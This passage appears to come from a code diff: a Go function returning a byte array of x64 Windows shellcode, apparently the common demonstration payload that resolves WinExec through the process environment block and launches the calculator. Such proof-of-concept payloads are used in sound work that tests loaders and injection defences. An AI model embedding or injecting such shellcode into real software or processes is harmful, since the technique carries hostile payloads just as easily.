return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
}

Some files were not shown because too many files have changed in this diff Show More